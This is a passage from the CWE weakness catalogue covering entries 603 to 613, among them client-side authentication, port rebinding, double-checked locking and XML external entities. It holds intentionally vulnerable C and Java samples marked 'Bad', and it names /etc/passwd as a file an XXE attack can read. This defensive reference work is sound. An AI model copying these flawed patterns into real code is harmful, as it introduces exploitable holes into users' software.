OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
162	Manipulating Hidden Fields
202	Create Malicious Client
207	Removing Important Client Functionality
208	Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-603: Use of Client-Side Authentication

**Weakness ID** : 603  
**Structure** : Simple  
**Abstraction** : Base

### Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.





### Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		602	Client-Side Enforcement of Server-Side Security	1271
ChildOf		1390	Weak Authentication	2087
PeerOf		300	Channel Accessible by Non-Endpoint	692
PeerOf		656	Reliance on Security Through Obscurity	1359

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.

### Demonstrative Examples

#### Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

### Observed Examples

Reference	Description
<b>CVE-2022-33139</b>	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. <a href="https://www.cve.org/CVERecord?id=CVE-2022-33139">https://www.cve.org/CVERecord?id=CVE-2022-33139</a>
<b>CVE-2006-0230</b>	Client-side check for a password allows access to a server using crafted XML requests from a modified client. <a href="https://www.cve.org/CVERecord?id=CVE-2006-0230">https://www.cve.org/CVERecord?id=CVE-2006-0230</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	888	2187

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-605: Multiple Binds to the Same Port

**Weakness ID** : 605

**Structure** : Simple

**Abstraction** : Base

### Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

### Extended Description

On most systems, a combination of setting the SO\_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR\_ANY. This allows a user to bind to the specific address of a server bound to INADDR\_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1374
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1393

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	<i>Packets from a variety of network services may be stolen or the services spoofed.</i>	

## Potential Mitigations

**Phase: Policy**

Restrict server socket address to known local addresses.

## Demonstrative Examples

**Example 1:**

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

*Example Language: C*

*(Bad)*

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	2190

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP32		Multiple binds to the same port

## CWE-606: Unchecked Input for Loop Condition

**Weakness ID :** 606

1278



**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	1965
CanPrecede	C	834	Excessive Iteration	1634

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2271

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

### Potential Mitigations

#### Phase: Implementation

Do not use user-controlled data for loop conditions.

#### Phase: Implementation

Perform input validation.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}
void iterateFoo()
{
    unsigned int num;
    scanf("%u",&num);
    iterate(num);
}
```

#### Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(Bad)

```

int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}

```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable
OMG ASCSM	ASCSM-CWE-606		

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607

**Structure** : Simple  
**Abstraction** : Variant


### Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		471	Modification of Assumed-Immutable Data (MAID)	1060

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

### Demonstrative Examples

#### Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

*Example Language: Java*

*(Bad)*

```
public static final String[] USER_ROLES;
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

## CWE-608: Struts: Non-private Field in ActionForm Class

**Weakness ID** : 608  
**Structure** : Simple  
**Abstraction** : Variant


### Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

## Demonstrative Examples

### Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

*Example Language: Java*

*(Bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
    public String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java

(Good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

## CWE-609: Double-Checked Locking

**Weakness ID** : 609  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

### Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375
CanPrecede		367	Time-of-check Time-of-use (TOCTOU) Race Condition	858

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	411	Resource Locking Problems	2118

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

### Demonstrative Examples

#### Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

*Example Language: Java*

*(Bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

*Example Language:*

*(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159
MemberOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	2205

Nature	Type	ID	Name	V	Page
MemberOf		1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)		1133 2242

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK10-J		Do not use incorrect forms of the double-checked locking idiom
Software Fault Patterns	SFP19		Missing Lock

### References

[REF-490]David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". < <http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html> >.

[REF-491]Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < <http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-610: Externally Controlled Reference to a Resource in Another Sphere

**Weakness ID** : 610

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf		15	External Control of System or Configuration Setting	17
ParentOf		73	External Control of File Name or Path	128
ParentOf		384	Session Fixation	887
ParentOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005
ParentOf		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1057
ParentOf		601	URL Redirection to Untrusted Site ('Open Redirect')	1266
ParentOf		611	Improper Restriction of XML External Entity Reference	1286
PeerOf		386	Symbolic Name not Mapping to Correct Object	892

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		384	Session Fixation	887
ParentOf		601	URL Redirection to Untrusted Site ('Open Redirect')	1266



Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	611	Improper Restriction of XML External Entity Reference	1286
ParentOf	<b>B</b>	918	Server-Side Request Forgery (SSRF)	1694
ParentOf	<b>B</b>	1021	Improper Restriction of Rendered UI Layers or Frames	1727

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1015	Limit Access	2223

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	<b>C</b>	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

### Notes

#### Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

#### Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

## CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611

1286

**Structure** : Simple  
**Abstraction** : Base

## Description

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

## Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.



By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285
PeerOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

## Applicable Platforms

**Language** : XML (Prevalence = Undetermined)

**Technology** : Web Based (Prevalence = Undetermined)

## Alternate Terms

**XXE** : An acronym used for the term "XML eXternal Entities"

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	
	<i>If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.</i>	
Integrity	Bypass Protection Mechanism	
	<i>The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.</i>	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	
	<i>The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.</i>	

## Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

Many XML parsers and validators can be configured to disable external entity expansion.

## Observed Examples

Reference	Description
<b>CVE-2005-1306</b>	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1306">https://www.cve.org/CVERecord?id=CVE-2005-1306</a>
<b>CVE-2012-5656</b>	XXE during SVG image conversion <a href="https://www.cve.org/CVERecord?id=CVE-2012-5656">https://www.cve.org/CVERecord?id=CVE-2012-5656</a>
<b>CVE-2012-2239</b>	XXE in PHP application allows reading the application's configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2239">https://www.cve.org/CVERecord?id=CVE-2012-2239</a>
<b>CVE-2012-3489</b>	XXE in database server <a href="https://www.cve.org/CVERecord?id=CVE-2012-3489">https://www.cve.org/CVERecord?id=CVE-2012-3489</a>
<b>CVE-2012-4399</b>	XXE in rapid web application development framework allows reading arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2012-4399">https://www.cve.org/CVERecord?id=CVE-2012-4399</a>
<b>CVE-2012-3363</b>	XXE via XML-RPC request. <a href="https://www.cve.org/CVERecord?id=CVE-2012-3363">https://www.cve.org/CVERecord?id=CVE-2012-3363</a>
<b>CVE-2012-0037</b>	XXE in office document product using RDF. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0037">https://www.cve.org/CVERecord?id=CVE-2012-0037</a>
<b>CVE-2011-4107</b>	XXE in web-based administration tool for database. <a href="https://www.cve.org/CVERecord?id=CVE-2011-4107">https://www.cve.org/CVERecord?id=CVE-2011-4107</a>
<b>CVE-2010-3322</b>	XXE in product that performs large-scale data analysis. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3322">https://www.cve.org/CVERecord?id=CVE-2010-3322</a>
<b>CVE-2009-1699</b>	XXE in XSL stylesheet functionality in a common library used by some web browsers. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1699">https://www.cve.org/CVERecord?id=CVE-2009-1699</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	2230
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	43		XML External Entities
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
221	Data Serialization External Entities Blowup

## References

[REF-496]OWASP. "XML External Entity (XXE) Processing". < [https://www.owasp.org/index.php/XML\\_External\\_Entity\\_\(XXE\)\\_Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) >.

[REF-497]Sascha Herzog. "XML External Entity Attacks (XXE)". 2010 October 0. < [https://www.owasp.org/images/5/5d/XML\\_External\\_Entity\\_Attack.pdf](https://www.owasp.org/images/5/5d/XML_External_Entity_Attack.pdf) >.

[REF-498]Gregory Steuck. "XXE (Xml eXternal Entity) Attack". < <http://www.securiteam.com/securitynews/6D0100A5PU.html> >.

[REF-499]WASC. "XML External Entities (XXE) Attack". < <http://projects.webappsec.org/wpage/13247003/XML%20External%20Entities> >.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < <http://msdn.microsoft.com/en-us/magazine/ee335713.aspx> >.

[REF-501]Chris Cornutt. "Preventing XXE in PHP". < <http://websec.io/2012/08/27/Preventing-XXE-in-PHP.html> >.

## CWE-612: Improper Authorization of Index Containing Sensitive Information

**Weakness ID** : 612

**Structure** : Simple

**Abstraction** : Base

### Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.


### Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1230	Exposure of Sensitive Information Through Metadata	1855

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Notes

#### Research Gap

This weakness is probably under-studied and under-reported.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	48		Insecure Indexing

### References

[REF-1050]WASC. "Insecure Indexing". < <http://projects.webappsec.org/w/page/13246937/Insecure%20Indexing> >.

## CWE-613: Insufficient Session Expiration

**Weakness ID** : 613

**Structure** : Simple

**Abstraction** : Base

### Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386
CanPrecede		287	Improper Authentication	657

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
